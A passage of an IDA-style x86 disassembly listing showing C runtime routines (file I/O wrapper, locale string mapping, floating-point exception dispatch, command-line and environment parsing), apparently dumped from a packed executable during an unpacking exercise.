		push	0
		lea	ecx, [ebp+var_418]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		mov	ecx, [eax+edx]
		push	ecx
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_425AE3
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_418]
		mov	[ebp+var_10], edx
		jmp	short loc_425AEC
; ---------------------------------------------------------------------------


loc_425AE3:				; CODE XREF: sub_425910+1BFj
		nop
		call	near ptr 26908EFh
		mov	[ebp+var_C], eax


loc_425AEC:				; CODE XREF: sub_425910:loc_425A9Aj
					; sub_425910+1D1j
		cmp	[ebp+var_10], 0
		jnz	loc_425B76
		cmp	[ebp+var_C], 0
		jz	short loc_425B2A
		cmp	[ebp+var_C], 5
		jnz	short loc_425B19
		call	sub_420520
		mov	dword ptr [eax], 9
		call	sub_420530
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		jmp	short loc_425B25
; ---------------------------------------------------------------------------


loc_425B19:				; CODE XREF: sub_425910+1F0j
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_420480
		add	esp, 4


loc_425B25:				; CODE XREF: sub_425910+207j
		or	eax, 0FFFFFFFFh
		jmp	short loc_425B7F
; ---------------------------------------------------------------------------


loc_425B2A:				; CODE XREF: sub_425910+1EAj
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DB460[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_425B5B
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 1Ah
		jnz	short loc_425B5B
		xor	eax, eax
		jmp	short loc_425B7F
; ---------------------------------------------------------------------------


loc_425B5B:				; CODE XREF: sub_425910+23Aj
					; sub_425910+245j
		call	sub_420520
		mov	dword ptr [eax], 1Ch
		call	sub_420530
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_425B7F
; ---------------------------------------------------------------------------


loc_425B76:				; CODE XREF: sub_425910+1E0j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_420]


loc_425B7F:				; CODE XREF: sub_425910+21j
					; sub_425910+218j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_425910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B90	proc near		; CODE XREF: sub_41A6D0+EBp
					; sub_41FFF0+121p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434268
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DB1D0, 0
		jnz	short loc_425C16
		push	0
		push	0
		push	1
		push	offset dword_434260
		push	100h
		push	0
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_425BE7
		mov	dword_4DB1D0, 1
		jmp	short loc_425C16
; ---------------------------------------------------------------------------


loc_425BE7:				; CODE XREF: sub_425B90+49j
		push	0
		push	0
		push	1
		push	offset dword_43425C
		push	100h
		push	0
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jz	short loc_425C0F
		mov	dword_4DB1D0, 2
		jmp	short loc_425C16
; ---------------------------------------------------------------------------


loc_425C0F:				; CODE XREF: sub_425B90+71j
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425C16:				; CODE XREF: sub_425B90+2Dj
					; sub_425B90+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_425C2F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_425EA0
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_425C2F:				; CODE XREF: sub_425B90+8Aj
		cmp	dword_4DB1D0, 2
		jnz	short loc_425C5B
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	near ptr 28D0000h
		nop
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425C5B:				; CODE XREF: sub_425B90+A6j
		cmp	dword_4DB1D0, 1
		jnz	loc_425E7F
		cmp	[ebp+arg_18], 0
		jnz	short loc_425C77
		mov	edx, dword_4DB1C8
		mov	[ebp+arg_18], edx


loc_425C77:				; CODE XREF: sub_425B90+DCj
		push	0
		push	0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		nop
		call	near ptr 2810000h
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_425CAB
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425CAB:				; CODE XREF: sub_425B90+112j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425CED
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_425CED:				; CODE XREF: sub_425B90+144j
		cmp	[ebp+var_24], 0
		jnz	short loc_425CFA
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425CFA:				; CODE XREF: sub_425B90+161j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	short loc_425D21
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425D21:				; CODE XREF: sub_425B90+188j
		push	0
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 28E0000h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_425D4B
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425D4B:				; CODE XREF: sub_425B90+1B2j
		mov	edx, [ebp+arg_4]
		and	edx, 400h
		test	edx, edx
		jz	short loc_425D9B
		cmp	[ebp+arg_14], 0
		jz	short loc_425D96
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_14]
		jle	short loc_425D6D
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425D6D:				; CODE XREF: sub_425B90+1D4j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jnz	short loc_425D96
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425D96:				; CODE XREF: sub_425B90+1CCj
					; sub_425B90+1FDj
		jmp	loc_425E7A
; ---------------------------------------------------------------------------


loc_425D9B:				; CODE XREF: sub_425B90+1C6j
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_2C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	edx, [ebp+var_34]
		mov	[ebp+var_20], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_425DE3
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_425DE3:				; CODE XREF: sub_425B90+23Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_425DF0
		xor	eax, eax
		jmp	loc_425E81
; ---------------------------------------------------------------------------


loc_425DF0:				; CODE XREF: sub_425B90+257j
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_425E16
		xor	eax, eax
		jmp	short loc_425E81
; ---------------------------------------------------------------------------


loc_425E16:				; CODE XREF: sub_425B90+280j
		cmp	[ebp+arg_14], 0
		jnz	short loc_425E4A
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_18]
		push	edx
		nop
		call	near ptr 2710000h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_425E48
		xor	eax, eax
		jmp	short loc_425E81
; ---------------------------------------------------------------------------


loc_425E48:				; CODE XREF: sub_425B90+2B2j
		jmp	short loc_425E7A
; ---------------------------------------------------------------------------


loc_425E4A:				; CODE XREF: sub_425B90+28Aj
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_18]
		push	ecx
		nop
		call	near ptr 2710000h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_425E7A
		xor	eax, eax
		jmp	short loc_425E81
; ---------------------------------------------------------------------------


loc_425E7A:				; CODE XREF: sub_425B90:loc_425D96j
					; sub_425B90:loc_425E48j ...
		mov	eax, [ebp+var_28]
		jmp	short loc_425E81
; ---------------------------------------------------------------------------


loc_425E7F:				; CODE XREF: sub_425B90+D2j
		xor	eax, eax


loc_425E81:				; CODE XREF: sub_425B90+81j
					; sub_425B90+C6j ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_425B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425EA0	proc near		; CODE XREF: sub_425B90+94p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_425EB2:				; CODE XREF: sub_425EA0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_425ED7
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_425ED7
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_425EB2
; ---------------------------------------------------------------------------


loc_425ED7:				; CODE XREF: sub_425EA0+20j
					; sub_425EA0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_425EE9
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_425EEC
; ---------------------------------------------------------------------------


loc_425EE9:				; CODE XREF: sub_425EA0+3Fj
		mov	eax, [ebp+arg_4]


loc_425EEC:				; CODE XREF: sub_425EA0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_425EA0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_41F970
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	ecx, [eax+50h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4260B0
		add	esp, 8
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_425F23
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_425F32


loc_425F23:				; CODE XREF: ___:00425F18j
		mov	ecx, [ebp+0Ch]
		push	ecx
		nop
		call	near ptr 28E10BCh
		jmp	loc_4260AA
; ---------------------------------------------------------------------------


loc_425F32:				; CODE XREF: ___:00425F21j
		mov	edx, [ebp-10h]
		cmp	dword ptr [edx+8], 5
		jnz	short loc_425F4F
		mov	eax, [ebp-10h]
		mov	dword ptr [eax+8], 0
		mov	eax, 1
		jmp	loc_4260AA
; ---------------------------------------------------------------------------


loc_425F4F:				; CODE XREF: ___:00425F39j
		mov	ecx, [ebp-10h]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_425F60
		or	eax, 0FFFFFFFFh
		jmp	loc_4260AA
; ---------------------------------------------------------------------------


loc_425F60:				; CODE XREF: ___:00425F56j
		mov	edx, [ebp-10h]
		mov	eax, [edx+8]
		mov	[ebp-4], eax
		mov	ecx, [ebp-8]
		mov	edx, [ecx+54h]
		mov	[ebp-18h], edx
		mov	eax, [ebp-8]
		mov	ecx, [ebp+0Ch]
		mov	[eax+54h], ecx
		mov	edx, [ebp-10h]
		cmp	dword ptr [edx+4], 8
		jnz	loc_426087
		mov	eax, dword_444440
		mov	[ebp-14h], eax
		jmp	short loc_425F9B
; ---------------------------------------------------------------------------


loc_425F92:				; CODE XREF: ___:00425FC0j
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_425F9B:				; CODE XREF: ___:00425F90j
		mov	edx, dword_444440
		add	edx, dword_444444
		cmp	[ebp-14h], edx
		jge	short loc_425FC2
		mov	eax, [ebp-14h]
		imul	eax, 0Ch
		mov	ecx, [ebp-8]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_425F92
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: ___:00425FAAj
		mov	eax, [ebp-8]
		mov	ecx, [eax+58h]
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp-10h]
		cmp	dword ptr [edx], 0C000008Eh
		jnz	short loc_425FE5
		mov	eax, [ebp-8]
		mov	dword ptr [eax+58h], 83h
		jmp	loc_42606D
; ---------------------------------------------------------------------------


loc_425FE5:				; CODE XREF: ___:00425FD4j
		mov	ecx, [ebp-10h]
		cmp	dword ptr [ecx], 0C0000090h
		jnz	short loc_425FFC
		mov	edx, [ebp-8]
		mov	dword ptr [edx+58h], 81h
		jmp	short loc_42606D
; ---------------------------------------------------------------------------


loc_425FFC:				; CODE XREF: ___:00425FEEj
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax], 0C0000091h
		jnz	short loc_426013
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+58h], 84h
		jmp	short loc_42606D
; ---------------------------------------------------------------------------


loc_426013:				; CODE XREF: ___:00426005j
		mov	edx, [ebp-10h]
		cmp	dword ptr [edx], 0C0000093h
		jnz	short loc_42602A
		mov	eax, [ebp-8]
		mov	dword ptr [eax+58h], 85h
		jmp	short loc_42606D
; ---------------------------------------------------------------------------


loc_42602A:				; CODE XREF: ___:0042601Cj
		mov	ecx, [ebp-10h]
		cmp	dword ptr [ecx], 0C000008Dh
		jnz	short loc_426041
		mov	edx, [ebp-8]
		mov	dword ptr [edx+58h], 82h
		jmp	short loc_42606D
; ---------------------------------------------------------------------------


loc_426041:				; CODE XREF: ___:00426033j
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax], 0C000008Fh
		jnz	short loc_426058
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+58h], 86h
		jmp	short loc_42606D
; ---------------------------------------------------------------------------


loc_426058:				; CODE XREF: ___:0042604Aj
		mov	edx, [ebp-10h]
		cmp	dword ptr [edx], 0C0000092h
		jnz	short loc_42606D
		mov	eax, [ebp-8]
		mov	dword ptr [eax+58h], 8Ah


loc_42606D:				; CODE XREF: ___:00425FE0j
					; ___:00425FFAj ...
		mov	ecx, [ebp-8]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	dword ptr [ebp-4]
		add	esp, 8
		mov	eax, [ebp-8]
		mov	ecx, [ebp-0Ch]
		mov	[eax+58h], ecx
		jmp	short loc_42609E
; ---------------------------------------------------------------------------


loc_426087:				; CODE XREF: ___:00425F82j
		mov	edx, [ebp-10h]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-10h]
		mov	ecx, [eax+4]
		push	ecx
		call	dword ptr [ebp-4]
		add	esp, 4


loc_42609E:				; CODE XREF: ___:00426085j
		mov	edx, [ebp-8]
		mov	eax, [ebp-18h]
		mov	[edx+54h], eax
		or	eax, 0FFFFFFFFh


loc_4260AA:				; CODE XREF: ___:00425F2Dj
					; ___:00425F4Aj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4260B0	proc near		; CODE XREF: ___:00425F09p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4260BA:				; CODE XREF: sub_4260B0+30j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		cmp	edx, [ebp+arg_0]
		jz	short loc_4260E2
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_44444C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_4260E2
		jmp	short loc_4260BA
; ---------------------------------------------------------------------------


loc_4260E2:				; CODE XREF: sub_4260B0+12j
					; sub_4260B0+2Ej
		mov	eax, dword_44444C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_4260FE
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jz	short loc_426102


loc_4260FE:				; CODE XREF: sub_4260B0+42j
		xor	eax, eax
		jmp	short loc_426105
; ---------------------------------------------------------------------------


loc_426102:				; CODE XREF: sub_4260B0+4Cj
		mov	eax, [ebp+var_4]


loc_426105:				; CODE XREF: sub_4260B0+50j
		mov	esp, ebp
		pop	ebp
		retn
sub_4260B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DC7C8, 0
		jnz	short loc_426122
		call	sub_420320


loc_426122:				; CODE XREF: ___:0042611Bj
		mov	eax, dword_4DB7A8
		mov	[ebp-4], eax
		mov	ecx, [ebp-4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jnz	short loc_42618C


loc_426136:				; CODE XREF: ___:loc_426173j
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax
		mov	ecx, [ebp-4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jz	short loc_426175
		mov	eax, [ebp-4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_426175
		mov	edx, [ebp-4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_42CCB0
		add	esp, 4
		test	eax, eax
		jz	short loc_426173
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_426173:				; CODE XREF: ___:00426168j
		jmp	short loc_426136
; ---------------------------------------------------------------------------


loc_426175:				; CODE XREF: ___:00426149j
					; ___:00426154j
		mov	edx, [ebp-4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 22h
		jnz	short loc_42618A
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_42618A:				; CODE XREF: ___:0042617Fj
		jmp	short loc_4261A3
; ---------------------------------------------------------------------------


loc_42618C:				; CODE XREF: ___:00426134j
					; ___:004261A1j
		mov	edx, [ebp-4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 20h
		jle	short loc_4261A3
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx
		jmp	short loc_42618C
; ---------------------------------------------------------------------------


loc_4261A3:				; CODE XREF: ___:loc_42618Aj
					; ___:00426196j ...
		mov	edx, [ebp-4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_4261C5
		mov	ecx, [ebp-4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 20h
		jg	short loc_4261C5
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax
		jmp	short loc_4261A3
; ---------------------------------------------------------------------------


loc_4261C5:				; CODE XREF: ___:004261ACj
					; ___:004261B8j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4DC7C8, 0
		jnz	short loc_4261E4
		call	sub_420320


loc_4261E4:				; CODE XREF: ___:004261DDj
		mov	dword ptr [ebp-8], 0
		mov	eax, dword_4DB11C
		mov	[ebp-4], eax


loc_4261F3:				; CODE XREF: ___:00426227j
		mov	ecx, [ebp-4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_426229
		mov	eax, [ebp-4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Dh
		jz	short loc_426211
		mov	edx, [ebp-8]
		add	edx, 1
		mov	[ebp-8], edx


loc_426211:				; CODE XREF: ___:00426206j
		mov	eax, [ebp-4]
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp-4]
		lea	edx, [ecx+eax+1]
		mov	[ebp-4], edx
		jmp	short loc_4261F3
; ---------------------------------------------------------------------------


loc_426229:				; CODE XREF: ___:004261FBj
		push	6Dh
		push	offset dword_434280
		push	2
		mov	eax, [ebp-8]
		lea	ecx, ds:4[eax*4]
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp-0Ch], eax
		mov	edx, [ebp-0Ch]
		mov	dword_4DB0CC, edx
		cmp	dword_4DB0CC, 0
		jnz	short loc_426264
		push	9
		call	sub_41A9A0
		add	esp, 4


loc_426264:				; CODE XREF: ___:00426258j
		mov	eax, dword_4DB11C
		mov	[ebp-4], eax
		jmp	short loc_426277
; ---------------------------------------------------------------------------


loc_42626E:				; CODE XREF: ___:loc_4262E5j
		mov	ecx, [ebp-4]
		add	ecx, [ebp-10h]
		mov	[ebp-4], ecx


loc_426277:				; CODE XREF: ___:0042626Cj
		mov	edx, [ebp-4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_4262E7
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		add	eax, 1
		mov	[ebp-10h], eax
		mov	edx, [ebp-4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Dh
		jz	short loc_4262E5
		push	79h
		push	offset dword_434280
		push	2
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	edx, [ebp-0Ch]
		mov	[edx], eax
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax], 0
		jnz	short loc_4262CA
		push	9
		call	sub_41A9A0
		add	esp, 4


loc_4262CA:				; CODE XREF: ___:004262BEj
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx]
		push	eax
		call	sub_4184C0
		add	esp, 8
		mov	ecx, [ebp-0Ch]
		add	ecx, 4
		mov	[ebp-0Ch], ecx


loc_4262E5:				; CODE XREF: ___:0042629Cj
		jmp	short loc_42626E
; ---------------------------------------------------------------------------


loc_4262E7:				; CODE XREF: ___:0042627Fj
		push	2
		mov	edx, dword_4DB11C
		push	edx
		call	sub_415860
		add	esp, 8
		mov	dword_4DB11C, 0
		mov	eax, [ebp-0Ch]
		mov	dword ptr [eax], 0
		mov	dword_4DC7C4, 1
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword_4DC7C8, 0
		jnz	short loc_426334
		call	sub_420320


loc_426334:				; CODE XREF: ___:0042632Dj
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		nop
		call	near ptr 2680000h
		mov	off_4DB0DC, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	eax, dword_4DB7A8
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_426367
		mov	edx, off_4DB0DC
		mov	[ebp-14h], edx
		jmp	short loc_42636F
; ---------------------------------------------------------------------------


loc_426367:				; CODE XREF: ___:0042635Aj
		mov	eax, dword_4DB7A8
		mov	[ebp-14h], eax


loc_42636F:				; CODE XREF: ___:00426365j
		mov	ecx, [ebp-14h]
		mov	[ebp-10h], ecx
		lea	edx, [ebp-4]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		push	0
		push	0
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_426400
		add	esp, 14h
		push	80h
		push	offset dword_43428C
		push	2
		mov	edx, [ebp-0Ch]
		mov	eax, [ebp-4]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_4263BE
		push	8
		call	sub_41A9A0
		add	esp, 4


loc_4263BE:				; CODE XREF: ___:004263B2j
		lea	edx, [ebp-4]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp-8]
		lea	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		call	sub_426400
		add	esp, 14h
		mov	eax, [ebp-0Ch]
		sub	eax, 1
		mov	dword_4DB0C0, eax
		mov	ecx, [ebp-8]
		mov	dword_4DB0C4, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426400	proc near		; CODE XREF: ___:00426385p
					; ___:004263D8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_426435
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		mov	[ebp+arg_4], edx


loc_426435:				; CODE XREF: sub_426400+22j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	loc_42650D


loc_426444:				; CODE XREF: sub_426400:loc_4264CDj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jz	short loc_4264D2
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_4264D2
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		xor	eax, eax
		mov	al, byte_4DB681[edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_4264A7
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
